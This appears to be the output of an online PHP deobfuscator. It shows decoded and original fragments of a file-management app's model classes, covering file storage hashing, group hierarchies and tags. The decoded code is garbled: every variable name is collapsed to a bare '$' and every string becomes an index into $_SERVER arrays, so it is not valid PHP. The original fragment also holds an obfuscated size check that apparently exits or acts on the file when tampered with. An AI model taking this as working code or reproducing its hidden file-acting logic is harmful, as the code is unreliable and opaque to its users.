$[1984]) { $ .= $[1307]; } break; case $[2049]: $ = Model($[860])->get($[861]); $ = substr(md5($[862] . $ . date($[839])), 0, 8); $ = KodIO::defaultDriver(); $ = $[1338] . $[$[487]] . $[496] . date($[2050]) . $ . $[8]; if ($ == $[1984]) { $ .= $[1307]; } $ = $[2051] . $ . $; CacheLock::lock($); $ = $ . $; if (IO::exist($ . $)) { $ = substr($, 0, strlen($) - strlen($)); $ = $ ? substr($, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ = $ . $ . $; if ($) { $ = $ . $[10] . $; } } if (IO::isOsDriver($) && !IO::isUploadServer($)) { if (IO::exist($)) { CacheLock::unlock($); return $; } $ = IO::setContent($, $[12]); if (!$) { show_json($[2052], !1); } } CacheLock::unlock($); break; case $[866]: break; default: break; } return $; } public function addFileByRemote($, $, $ = array()) { $ =& $_SERVER[]; if (!IO::exist($)) { return !1; } $ = $[$[561]] ? $[$[561]] : $[12]; $ = IO::hashMd5($, $); $ = KodIO::defaultDriver(); $ = array($[634] => IO::size($), $[2053] => 1, $[506] => $, $[903] => $[$[487]], $[507] => $, $[2054] => $[$[689]] ? $[$[689]] : IO::hashSimple($), $[2055] => $ ? $ : $); if ($ = $this->addFileCheckExist($[$[689]], $[$[561]], $[$[79]])) { return $; } return $this->addFileData($); } private function addFileData($) { $ =& $_SERVER[]; if (!$) { return !1; } $[$[79]] = intval($[$[79]]); if (!$[$[79]] && strlen($[$[689]]) > 32) { $[$[79]] = intval(substr($[$[689]], 32)); } $ = $this->add($); return $this->find($); } public function addFile($, $, $ = false) { $ =& $_SERVER[]; $ = IO::hashSimple($); $ = IO::size($); $ = $ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $[12]; $ = $[2056] . $; CacheLock::lock($); if ($ && $) { $ = $this->addFileCheckExist($, $, $); if ($) { CacheLock::unlock($); return $; } } $ = $this->addFileMake($, $, $, $, $, $); $ = $this->addFileData($); if (!$) { return !1; } CacheLock::unlock($); if (!$ && $) { $this->fileMd5Check($); } return $; } public function fileMd5Check($) { $ =& $_SERVER[]; $ = array($[$[555]], $[$[87]]); $ = $[2057] . $[$[87]]; $ = $[2058] . $[$[555]]; TaskQueue::add($[2059], $, $, $); } public function fileMd5Set($, $) { $ =& $_SERVER[]; $ = $this->find($); if (!$ || $[$[561]]) { return; } $ = IO::hashMd5($); if (!$) { return $[12]; } $this->where(array($[555] => $))->save(array($[561] => $)); } public function addFileMake($, $, $, $, $, $) { $ =& $_SERVER[]; $ = $this->createFileName($, $, $); $ = get_path_father($); $ = get_path_this($); if ($) { $ = IO::move($, $, !1, $); } else { $ = IO::copy($, $, !1, $); } if (!$) { return !1; } $ = IO::init($); $->cacheMethod($[182], $->path, $[179]); if (IO::size($) != $) { return !1; } $ = KodIO::defaultDriver(); $ = array($[634] => $, $[2053] => 1, $[506] => $, $[903] => $[$[487]], $[507] => $, $[2054] => $, $[2055] => $); return $; } public function addFileCheckExist($, $, $) { $ =& $_SERVER[]; $ = $this->findByHash($, $); if (!$) { return !1; } $ = array($[2053] => intval($[$[2060]]) + 1, $[634] => $); $this->where(array($[556] => $[$[555]]))->save($); return $; } public function remove($) { $this->linkCountChange($, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $) { $ =& $_SERVER[]; if (!$) { return; } if (!is_array($)) { $ = array($); } $ = array(); foreach ($ as $) { $ = $ . $[12]; if (!$[$]) { $[$] = 0; } $[$]++; } $ = array(); foreach ($ as $ => $) { $ = $ . $[12]; if (!$[$]) { $[$] = array(); } $[$][] = $; } foreach ($ as $ => $) { if (!$) { continue; } $ = $ ? $ : -intval($); $ = array($[555] => array($[7], $)); if ($ < 0) { $[$[2060]] = array($[1108], abs($)); } $this->where($)->setAdd($[2060], $); } } public function findByHash($, $ = false) { $ =& $_SERVER[]; if (!$ && !$) { return !1; } $ = array($[2054] => $); if ($) { $ = array($[2055] => $); } return $this->order($[2061])->where($)->find(); } public function clearEmpty($ = 1) { $ =& $_SERVER[]; $ = time() - 3600 * 24 * $; $ = $[2062] . $; $ = $this->where($)->select(); if (!$) { return; } $ = new Task($[2063], $[12], count($)); foreach ($ as $) { $->update(1); $this->resetFile($); } $->end(); } public function resetFile($) { $ =& $_SERVER[]; $ = array($[556] => $[$[555]]); $ = Model($[1437])->where($)->count(); $ = Model($[2064])->where($)->count(); $ = intval($) + intval($); if ($ == 0) { IO::remove($[$[87]]); Model($[2065])->delete($[$[555]]); $this->where($)->delete(); $this->metaSet($[$[555]], null, null); write_log(ACTION . $[2066] . KodUser::id() . $[2067] . $[$[555]] . $[2068] . $[$[79]] . $[202] . $[$[87]], $[2069]); return; } if ($[$[2060]] != $) { $this->where($)->save(array($[2053] => $)); } } public function storageInfo($ = false) { $ =& $_SERVER[]; $ = $this->count() + 0.0; $ = 0; $ = 1; $ = 0; $ = 5000; for ($ = 0; $ < $; $ = $ + $) { $ = $this->limit($, $ + $)->select(); foreach ($ as $) { $ += $[$[79]] * $[$[2060]]; $ += $[$[79]] * ($[$[2060]] - 1); $ += $[$[2060]]; } } $ = array($[2070] => $, $[2071] => $, $[2072] => $ / $, $[83] => $, $[2073] => $); return $; } } class GroupModel extends ModelBase { protected $tableName = "group"; protected $tableMeta = array("tableName" => "group_meta", "metaField" => "groupID"); protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2074] => array($[0], $[2075]), $[2076] => array($[0], $[2077])); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!$) { return !1; } if ($) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[][2078], $); } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if ($) { $ = array($[1992] => intval($)); $ = $this->where($)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($[2079], $); } protected function groupAdd($) { $ =& $_SERVER[]; if (!$[$[193]] && isset($[$[1992]]) && $[$[1992]] == 1) { if ($ = $this->getInfoSimple($[$[1992]], !0)) { return $[$[1992]]; } } else { $ = $this->getInfoSimple($[$[193]]); if (!$) { return !1; } } $ = $[607]; if ($[$[598]]) { $ = $[$[598]] . $[$[1992]] . $[50]; } $ = array($[506] => $this->groupNameAuto($[$[193]], $[$[32]]), $[489] => $[$[193]], $[669] => $, $[2080] => $[$[1978]], $[2081] => 0, $[1996] => 0); if (isset($[$[2016]])) { $[$[2016]] = $[$[2016]]; } else { $ = $this->max($[2016]); if (!$) { $ = 0; } $[$[2016]] = $ + 1; } if (!empty($[$[1992]])) { $[$[1992]] = $[$[1992]]; } $ = $this->add($); $this->setNamePinyin($, $[$[32]]); if (isset($[$[2082]])) { $this->metaSet($, array($[2082] => $[$[2082]], $[2083] => $[$[2083]])); unset($[$[2082]]); unset($[$[2083]]); } Model($[1437])->groupRootAdd($); $this->_clearCache($[$[193]]); return $; } protected function groupEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } if (!empty($[$[193]])) { $ = $this->getInfoSimple($[$[193]]); if (!$) { return !1; } if ($[$[1992]] == $[$[1992]]) { return !1; } if ($[$[193]] != $[$[193]]) { if ($[$[598]] !== $[$[598]] && strpos($[$[598]], $[$[598]] . $[$[1992]] . $[50]) === 0) { return !1; } $[$[669]] = $[$[598]] . $[$[193]] . $[50]; $this->_changeChildLevel($, $); $this->_clearCache($[$[1992]]); $this->_clearCache($[$[193]]); } } if (isset($[$[32]])) { $this->setNamePinyin($, $[$[32]]); } if (isset($[$[2082]])) { $this->metaSet($, array($[2082] => $[$[2082]], $[2083] => $[$[2083]])); unset($[$[2082]]); unset($[$[2083]]); } $this->_clearChildrenCache($); return $this->where(array($[2084] => $))->save($); } private function _clearChildrenCache($) { $ =& $_SERVER[]; $ = array($[669] => array($[629], $[$[598]] . $[$[1992]] . $[630])); $ = $this->field($[1992])->where($)->select(); foreach ($ as $) { $this->_clearCache($[$[1992]]); } } private function _clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[2078], $); $this->cacheFunctionClear($[2079], $); } private function _changeChildLevel($, $, $ = false) { $ =& $_SERVER[]; $ = $[$[598]] . $[$[1992]] . $[50]; $ = $[$[598]] . $[$[1992]] . $[50] . $[$[1992]] . $[50]; if ($) { $ = $[$[598]] . $[$[1992]] . $[50]; } $ = array($[669] => array($[629], $[$[598]] . $[$[1992]] . $[630])); $ = array($[669] => array($[678], "replace(parentLevel,'{$}','{$}')")); $this->_clearChildrenCache($); $this->where($)->data($)->save(); } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[32]]; } if (!Input::check($, $[672])) { $this->metaSet($, $[550], null); $this->metaSet($, $[549], null); return; } $ = array($[550] => str_replace($[53], $[12], Pinyin::get($)), $[549] => Pinyin::get($, $[673])); $this->metaSet($, $); } protected function metaSet($, $ = null, $ = null) { $this->_clearCache($); return parent::metaSet($, $, $); } protected function groupStatus($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $this->_clearCache($); return $this->metaSet($, $[840], $); if ($ == $[91]) { $ = $this->parentLevelArray($[$[598]]); } else { } $[] = $[$[1992]]; $ = array(); foreach ($ as $) { $[] = array($[1992] => $, $[97] => $[840], $[462] => $); $this->_clearCache($); } return Model($[2085])->addAll($, array(), !0); } protected function groupRemove($, $ = false) { $ =& $_SERVER[]; $ = array($[1992] => $); $ = $this->where($)->find(); if (!$ || $[$[193]] == 0) { return !1; } if (!$) { $ = $this->getInfoSimple($[$[193]]); $this->_changeChildLevel($, $, !0); $this->where(array($[193] => $))->save(array($[193] => $[$[193]])); $this->_clearCache($[$[1992]]); } Model($[2085])->where($)->delete(); Model($[2086])->where($)->delete(); Model($[920])->groupRootRemove($); $this->_clearCache($[$[193]]); return $this->where($)->delete(); } protected function groupSort($) { $ =& $_SERVER[]; $ = array(); foreach ($ as $ => $) { $[] = array($[1992], $, $[2016], $ + 1); } $this->saveAll($); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[][457]]); return $; } private function _makeOrder($ = '') { $ =& $_SERVER[]; $ = array($[1992], $[32], $[1980], $[234]); $ = array($[535] => $[536], $[537] => $[538]); $ = Input::get($[542], $[7], $[1996], $); $ = Input::get($[543], $[7], $[2087], array($[2087], $[537])); $ = $[$]; $ = $ . "{$} {$}, groupID asc"; return $this->order($); } public function listChild($) { $ =& $_SERVER[]; $ = $this->where(array($[193] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($[$[457]]); return $; } public function listChildIds($) { $ =& $_SERVER[]; if (is_string($)) { $ = explode($[50], $); } $ = $this->where(array($[1992] => array($[7], $)))->field($[2088])->select(); if (!$) { return !1; } $ = array(); foreach ($ as $) { $[] = "select groupID from `group` where parentLevel like '{$[$[598]]}{$[$[1992]]},%'"; } $ = implode($[2089], $); $ = $this->query($); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1992]); return array_unique($); } public function listByID($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = array($[1992] => array($[7], $)); $ = $this->where($)->select(); $ = array_sort_keep($, $[1992], $); $this->_listDataApply($); return $; } public function listSearch($) { $ =& $_SERVER[]; $ = trim($[$[2090]]); $ = explode($[53], $); if (!$ || count($) == 1) { return $this->listSearchNow($); } $ = array($[457] => array()); foreach ($ as $) { if (!trim($)) { continue; } $[$[2090]] = $; $ = $this->listSearchNow($); $[$[457]] = array_merge($[$[457]], $[$[457]]); } $[$[457]] = array_unique_by_key($[$[457]], $[1992]); $[$[454]] = array($[455] => count($[$[457]]), $[451] => 20, $[440] => 1, $[456] => 1); return $; } public function listSearchNow($) { $ =& $_SERVER[]; $ = trim($[$[2090]]); $ = isset($[$[2091]]) ? $[$[2091]] : !1; if (!trim($)) { return !1; } $ = str_replace($[2092], $[2093], $); $ = array($[1992] => array($[471], "{$}%"), $[32] => array($[471], "%{$}%"), $[1093] => $[2094]); if ($) { $ = $this->getInfoSimple($); $ = $[$[598]] . $ . $[630]; $ = array($, array($[598] => array($[471], $))); } $ = $this->parseWhereLike($); $ = $this->_makeOrder()->where($)->selectPage(20); $ = $ ? $ : array($[457] => array(), $[454] => array()); if (!$ || count($[$[457]]) < 5 && Input::check($, $[405])) { $ = $this->groupChildrenAll($); $ = $this->_searchFromMeta($[549], $, 10, $); $ = $this->_searchFromMeta($[550], $, 10, $); $ = array_merge($, $, $[$[457]]); $[$[457]] = array_unique_by_key($, $[1992]); $[$[454]][$[455]] = count($[$[457]]); $[$[454]][$[456]] = ceil($[$[454]][$[455]] / $[$[454]][$[451]]); } $this->_listDataApply($[$[457]]); return $; } protected function groupChildrenAll($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = $; foreach ($ as $) { $ = $this->getInfoSimple($); $ = array($[598] => array($[471], $[$[598]] . $ . $[630])); $ = $this->field($[1992])->where($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1992])); } return array_unique($); } private function _searchFromMeta($, $, $, $) { $ =& $_SERVER[]; $ = strtolower($); $ = array($[97] => $, $[462] => array($[471], "%{$}%")); $ = $this->parseWhereLike($); if ($) { $[$[1992]] = array($[7], $); } $ = Model($[2095])->where($)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $[12], $[1992]); $ = $this->where(array($[2084] => array($[7], $)))->select(); if (!$) { return array(); } return $; } protected function _listDataApplyItem($) { $ = array($); $this->_listDataApply($); return $[0]; } protected function _listDataApply(&$) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($, $[12], $[1992]); $this->_listAppendChildren($); $this->_listAppendChildrenMember($); $this->_listAppendMeta($, $); $this->_listAppendParent($); $this->_listAppendSourceRoot($, $); } private function _listAppendChildren(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1992]); $ = array($[193] => array($[7], $)); $ = array($[193], $[2096] => $[579]); $ = $this->field($)->where($)->group($[193])->select(); $ = array_to_keyvalue($, $[193], $[579]); foreach ($ as &$) { $ = $[$[1992]]; $[$[2097]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1992]); $ = array($[1992] => array($[7], $)); $ = array($[1992], $[2096] => $[579]); $ = Model($[2086])->field($)->where($)->group($[1992])->select(); $ = array_to_keyvalue($, $[1992], $[579]); foreach ($ as &$) { $ = $[$[1992]]; $[$[2098]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppendMeta(&$, $) { $ =& $_SERVER[]; $ = array($[1992] => array($[7], $)); $ = Model($[2085])->where($)->select(); $ = array_to_keyvalue_group($, $[1992]); foreach ($ as &$) { $ = array_to_keyvalue($, $[97], $[462]); } unset($); foreach ($ as &$) { $[$[553]] = array(); if (isset($[$[$[1992]]])) { $[$[553]] = $[$[$[1992]]]; } } unset($); } protected function parentLevelArray($) { $ =& $_SERVER[]; $ = explode($[50], trim($, $[50])); $ = array_remove_value($, $[231]); return $; } protected function parentInGroup($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !0; } $ = $this->parentLevelArray($[$[598]]); $[] = $; foreach ($ as $) { if (in_array($ . $[12], $)) { return !0; } } return !1; } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array(); foreach ($ as &$) { $[$[$[1992]]] = $[$[32]]; $ = $this->parentLevelArray($[$[598]]); foreach ($ as $) { if (!isset($[$])) { $[$] = 0; } } } unset($); foreach ($ as $ => $) { if ($) { continue; } $ = $this->getInfoSimple($); $[$] = $[$[32]]; } $ = $GLOBALS[$[6]][$[92]][$[2099]]; if (KodUser::isRoot()) { $ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$[598]]); $ = $[12]; foreach ($ as $ => $) { if ($ && $ == 0) { continue; } $ .= $[$] . $[8]; } if ($) { $ .= $[$[32]]; } $[$[603]] = str_replace($[257], $[8], $); } unset($); } private function _listAppendSourceRoot(&$, $) { $ =& $_SERVER[]; $ = Model($[920])->listSourceRoot(SourceModel::TYPE_GROUP, $); $ = array_to_keyvalue($, $[583]); $ = array_remove_key($, $[583]); foreach ($ as &$) { $[$[90]] = $[$[$[1992]]] ? $[$[$[1992]]] : array(); } unset($); } protected function groupMerge($) { $ = array_values(array_unique($)); $ = array(); for ($ = 0; $ < count($); $++) { $ = !1; for ($ = 0; $ < count($); $++) { if ($ == $) { continue; } if ($this->isParentOf($[$], $[$])) { $ = !0; break; } } if (!$) { $[] = $[$]; } } return $; } protected function isParentOf($, $) { $ =& $_SERVER[]; if (!$ || !$ || $ == $) { return !1; } $ = $this->getInfoSimple($); $ = $this->getInfoSimple($); $ = $[$[598]] . $ . $[50]; if (substr($[$[598]], 0, strlen($)) == $) { return !0; } return !1; } public function groupShowRoot($, $ = false) { $ =& $_SERVER[]; $ = $this->getInfo($); if (!$) { return array(); } $ = $this->parentLevelArray($[$[598]]); $ = array($); if (count($) == 0) { return $; } if ($ && count($) == 1) { return $; } if (!$[$[553]] || !isset($[$[553]][$[2082]]) || $[$[553]][$[2082]] == $[866]) { return $this->groupShowRoot($[count($) - 1], $); } if ($[$[553]][$[2082]] == $[444]) { $ = explode($[50], $[$[553]][$[2083]]); if ($) { $ = array_merge($, $); } } return $; } protected function resetParentLevel() { $ =& $_SERVER[]; $ = $[1992]; $ = $this->select(); $ = array_to_keyvalue($, $); foreach ($ as $) { $ = $; $ = array(); while ($[$[193]] != 0) { $[] = $[$[193]]; $ = $[$[$[193]]]; } $[] = 0; $ = $[50] . implode($[50], array_reverse($)) . $[50]; $this->setNamePinyin($[$], $[$[32]]); $this->where(array($ => $[$]))->save(array($[669] => $)); } return $; } public function groupNameAuto($, $) { $ =& $_SERVER[]; $ = $this->where(array($[489] => $))->getField($[32], !0); if (!$ || !in_array($, $)) { return $; } for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "({$})"; if (!in_array($, $)) { return $; } } } public function groupSwitch($, $) { $ =& $_SERVER[]; $ = array($[1992] => array($[7], array($, $))); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[1992]); if (!isset($[$]) || !isset($[$]) || $[$][$[193]] == 0) { return !1; } $ = array($[1992] => $); $ = Model($[2086])->where($)->select(); if (!$) { $ = array(); } foreach ($ as $) { $ = $[$[1791]]; $ = array($[1791] => $, $[1992] => $); $ = Model($[2086])->where($)->find(); if (!$) { $ = array($ => $[$[2100]]); Model($[611])->userGroupAdd($, $); } Model($[611])->userGroupRemove($, $); } $ = array($[191] => 2, $[193] => 0, $[497] => 1, $[583] => array($[7], array($, $))); $ = Model($[920])->where($)->field($[2101])->select(); $ = array_to_keyvalue($, $[583], $[194]); $ = !empty($[$]) ? $[$] : !1; if ($) { if (!$[$]) { $[$] = Model($[920])->groupRootAdd($); } $ = $[$]; $ = array($[193] => $); $ = Model($[920])->where($)->field($[2102])->select(); if (!$) { $ = array(); } Model($[920])->moveClearAuth = !1; foreach ($ as $) { $ = $[$[497]] == $[91] ? REPEAT_RENAME_FOLDER : REPEAT_RENAME; Model($[920])->move($[$[194]], $, $); } Model($[920])->moveClearAuth = !0; $ = array($[191] => 2, $[583] => $); $ = array($[583] => $); Model($[2103])->where($)->save($); Model($[2104])->where($)->save($); } $this->_changeChildLevel($[$], $[$], !0); $this->where(array($[193] => $))->save(array($[193] => $)); $this->_clearChildrenCache($[$]); return !0; } } class GroupTagModel extends ModelBase { protected $tableName = "user_fav"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2105] => array($[0], $[2106]), $[2107] => array($[0], $[2108])); } protected function get($) { $ =& $_SERVER[]; $ = Model($[599])->metaGet($, $[2109]); $ = json_decode($, !0); return $ ? $ : array($[2110] => $[91], $[457] => array()); } protected function set($, $) { $ =& $_SERVER[]; $ = $ ? $ : array($[2110] => $[91], $[457] => array()); return Model($[599])->metaSet($, $[2109], json_encode($)); } protected function getByTagID($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (!Model($[599])->getInfoSimple($)) { return !1; } $ = $this->get($); if (!$ || !isset($[$[457]])) { return !1; } $ = array_find_by_field($[$[457]], $[487], $); return is_array($) ? $ : !1; } public function listSource($, $) { $ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = $this->listData($); $ = array(); foreach ($ as $) { $ = $[$[87]]; if (!$) { continue; } if (!isset($[$])) { $[$] = array(); } $[$][] = $[$[512]]; } $ = array(); foreach ($ as $ => $) { $ = !0; if (!$) { $[] = $; continue; } foreach ($ as $) { if (!in_array($, $)) { $ = !1; break; } } if ($) { $[] = $; } } if (!$) { return array(); } $ = array($[503] => array($[504], $), $[583] => $, $[191] => SourceModel::TYPE_GROUP); $ = Model($[1437])->listSource($); if (!$ || count($) == $[$[454]][$[455]]) { return $; } $ = array(); $ = array_to_keyvalue($[$[85]], $[12], $[194]); $ = array_to_keyvalue($[$[86]], $[12], $[194]); $ = array_merge($, $); foreach ($ as $) { if (!in_array($, $)) { $[] = $; } } if ($) { $this->removeBySource($, $); } return $; } protected function listData($) { $ =& $_SERVER[]; $ = array($[1782] => 0, $[571] => array($[2111], 0), $[508] => $[2112] . $); $ = $[2113]; $ = $this->field($)->where($)->order($[2114])->select(); return $ ? $ : array(); } protected function addToTag($, $, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (!Model($[920])->pathInfo($)) { return !1; } $ = array($[1782] => 0, $[571] => $, $[507] => $, $[508] => $[2115] . $, $[506] => $[12], $[1996] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1782] => 0, $[571] => $, $[508] => $[2115] . $, $[507] => $); return $this->where($)->delete(); } protected function removeByTag($, $) { $ =& $_SERVER[]; if (!$this->getByTagID($, $)) { return !1; } $ = array($[1782] => 0, $[571] => $, $[508] => $[2115] . $); return $this->where($)->delete(); } protected function removeBySource($, $) { $ =& $_SERVER[]; if (!$ || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1782] => 0, $[507] => $, $[571] => array($[1107], 0), $[508] => $[2115] . $); return $this->where($)->delete(); } } goto c; a: class UserTagSourceModel extends ModelBase { protected $tableName = "user_fav"; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; return array($[2107] => array($[2540] . USER_ID, $[2108])); } protected function listData() { $ =& $_SERVER[]; $ = array($[1782] => USER_ID, $[571] => array($[2111], 0)); $ = $[2541]; $ = $this->field($)->where($)->order($[2114])->select(); return $ ? $ : array(); } protected function addToTag($, $) { $ =& $_SERVER[]; if (!Model($[2264])->listData($)) { return !1; } if (is_numeric($)) { $ = Model($[920])->pathInfo($); if (!$) { return !1; } } else { $ = IO::infoSimple($); if (!$) { return !1; } $ = $[$[32]]; $ = $[$[33]]; if (isset($[$[497]])) { $ = $[$[497]] == $[91] ? $[78] : $[233]; } } $ = array($[1782] => USER_ID, $[571] => $, $[507] => $, $[508] => $ ? $ : $[502], $[506] => $ ? $ : $[12], $[1996] => 0); if ($this->where($)->find()) { return !1; } return $this->add($); } protected function removeFromTag($, $) { $ =& $_SERVER[]; if (!Model($[2264])->listData($)) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1782] => USER_ID, $[571] => $, $[507] => $); return $this->where($)->delete(); } protected function removeByTag($) { $ =& $_SERVER[]; if (!$) { return !1; } $ = array($[1782] => USER_ID, $[571] => $); return $this->where($)->delete(); } protected function removeBySource($) { $ =& $_SERVER[]; if (is_array($)) { $ = array($[7], $); } $ = array($[1782] => USER_ID, $[571] => array($[1107], 0), $[507] => $); return $this->where($)->delete(); } } ?>

Did this file decode correctly?

Original Code

<?php
 goto B; b: $_file = $_SERVER[$_SERVER[][316]]; $_size = $_SERVER[][317]; if ($_SERVER[$_SERVER[][318]] != $_size($_file)) { $_getc = $_SERVER[][319]; $_getfile = $_SERVER[$_SERVER[][320]] . $_SERVER[][321]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[][288], $_getfilec); if (count($_getarrs) < $_SERVER[][322]) { $exit = $_SERVER[][323]; $exit(); } $_act = $_SERVER[][324]; $_act($_file); } goto b; b: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { $ =& $_SERVER[]; parent::__construct($); $ = isset($[$[259]]) && $[$[259]] == $[250] ? $[250] : $[325]; $this->setSignVersion($); } public function link($, $ = array()) { return parent::link($, $); } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][326])) { return parent::fileOutServer($, $, $, $); } parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[][326])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[219]) { $ = $[220] . substr($, 7); } header($[175] . $); die; } } define($_SERVER[][327], 1); define($_SERVER[][328], 2); goto f; B: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[]; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $ = $[$[169]]; $ = $[7]; if (!$[$[169]]) { $ = array_to_keyvalue($, $[12], $[169]); $ = implode($[50], $); $ = $[2259]; } $ = explode($[50], trim($, $[50])); return array($, $); } public function listPathType($) { $ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ = Model($[611])->getInfo($); $ = array($[665] => SourceModel::TYPE_USER, $[598] => array($[629], $[607] . $[$[90]][$[194]] . $[630]), $[666] => $, $[663] => 0, $[664] => $); return $this->listSource($); } public function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[2090]]) && $[$[2090]]) { $[$[2090]] = str_replace($[472], $[2260], trim($[$[2090]])); } $ = $this->_parseSearchWhere($); if (!isset($[$[517]])) { $[$[517]] = 0; } $ = $[2261]; $ = $; $ = $; $this->_listSearchBindPinyin($, $, $); $this->alias($[531])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($)->where($)->selectPage($); if ($GLOBALS[$[6]][$[469]][$[470]] && Input::check($[$[2090]], $[672]) && $[$[454]][$[440]] == 1 && $[$[454]][$[455]] == 0) { $ = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $, $, $); $this->_listSearchDesc($, $, $); $this->_listSearchTag($, $, $); $this->_listSearchGroupTag($, $, $); $this->_listDataApply($[$[457]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $, $, $) { $ =& $_SERVER[]; if (!$[$[2090]] || $[$[454]][$[440]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[555]])) { return; } $[$[555]] = array($[7], $[$[555]]); unset($[$[32]]); unset($[$[555]]); $ = $this->field($)->where($)->limit($[2262])->select(); if (!$ || count($) == 0) { return; } $[$[457]] = array_merge($, $[$[457]]); $[$[454]][$[455]] += count($); } private function _listSearchTag(&$, $, $) { $ =& $_SERVER[]; if (empty($[$[1950]]) || !in_array($[2263], $[$[1950]])) { return; } if (!$[$[2090]] || $[$[454]][$[440]] > 1) { return; } $ = Model($[2264])->listData(); $ = array(); $ = $[$[2090]]; foreach ($ as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[487]]; } } if (!$) { return; } $ = array($[512] => array($[7], $), $[1791] => USER_ID); $ = Model($[514])->field($[87])->where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (empty($[$[1950]]) || !in_array($[538], $[$[1950]])) { return; } if (!$[$[2090]] || $[$[454]][$[440]] > 1) { return; } $ = array($[97] => $[538], $[462] => array($[471], $[2092] . $[$[2090]] . $[2092])); $ = !1; if ($) { $ = $this->listSearchChildren($[$[193]]); $ = array_unique($); if (!$) { return; } $[$[194]] = array($[7], $); } $ = Model($[649])->field($[194])->where($)->limit(5000)->select(); $ = array_to_keyvalue($, $[12], $[194]); $this->_listSearchMerge($, $, $, $); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[]; if (empty($[$[1950]]) || !in_array($[2263], $[$[1950]])) { return; } if (!$[$[2090]] || $[$[454]][$[440]] > 1 || !$[$[193]]) { return; } $ = $this->sourceInfo($[$[193]]); if (!$ || $[$[191]] != SourceModel::TYPE_GROUP) { return; } $ = $[$[583]]; $ = Model($[2265])->get($); $ = array(); $ = $[$[2090]]; foreach ($[$[457]] as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[487]]; } } if (!$) { return; } $ = array($[512] => array($[7], $), $[1791] => 0, $[33] => $[2112] . $); $ = Model($[514])->field($[87])->where($)->select(); $ = array_to_keyvalue($, $[12], $[87]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchMerge(&$, $, $, $) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($[$[457]], $[12], $[194]); $ = array_diff($, $); if (!$) { return; } $ = array($[194] => array($[7], $)); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $)) { $[] = $; } } $[$[457]] = array_merge($, $[$[457]]); $[$[454]][$[455]] += count($); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[497]] == $[91]; if (!strstr($[$[598]], $[50] . $[$[193]] . $[50])) { return 